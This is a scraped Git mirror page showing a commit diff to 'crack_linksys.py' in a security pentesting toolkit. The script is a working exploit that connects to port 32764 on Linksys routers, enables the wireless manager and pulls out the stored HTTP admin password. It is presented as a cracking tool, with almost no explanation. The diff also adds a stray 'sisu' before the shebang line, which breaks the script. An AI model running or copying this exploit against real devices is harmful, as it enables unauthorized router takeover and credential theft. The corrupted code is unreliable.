mirror of
https://github.com/autistic-symposium/sec-pentesting-toolkit.git
synced 2025-05-04 07:45:04 -04:00
network --> python socket scripts
This commit is contained in:
parent
ac171e1195
commit
183bf44e32
9 changed files with 371 additions and 41 deletions
11
Network_and_802.11/socket/crack_linksys.py
Normal file → Executable file
11
Network_and_802.11/socket/crack_linksys.py
Normal file → Executable file
|
@ -1,4 +1,4 @@
|
|||
#!/usr/bin/env python
|
||||
sisu#!/usr/bin/env python
|
||||
|
||||
__author__ = "bt3"
|
||||
|
||||
|
@ -7,8 +7,8 @@ import socket
|
|||
import struct
|
||||
import sys
|
||||
|
||||
#HOST = '192.168.1.1'
|
||||
HOST = '192.168.33.1'
|
||||
# Defining constants
|
||||
HOST = '192.168.1.22'
|
||||
PORT = 32764
|
||||
|
||||
def send_message(s, message, payload=''):
|
||||
|
@ -19,7 +19,7 @@ def send_message(s, message, payload=''):
|
|||
|
||||
if len(response) != 12:
|
||||
print("Device is not a crackable Linksys router.")
|
||||
print("Recieved invalid response: %s" % response)
|
||||
print("Received invalid response: %s" % response)
|
||||
raise sys.exit(1)
|
||||
|
||||
sig, ret_val, ret_len = struct.unpack('<III', response)
|
||||
|
@ -39,6 +39,7 @@ def send_message(s, message, payload=''):
|
|||
if __name__ == '__main__':
|
||||
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect((HOST, PORT))
|
||||
s.connect(( HOST, PORT ))
|
||||
|
||||
send_message(s, 3, "wlan_mgr_enable=1")
|
||||
print send_message(s, 2, "http_password")
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue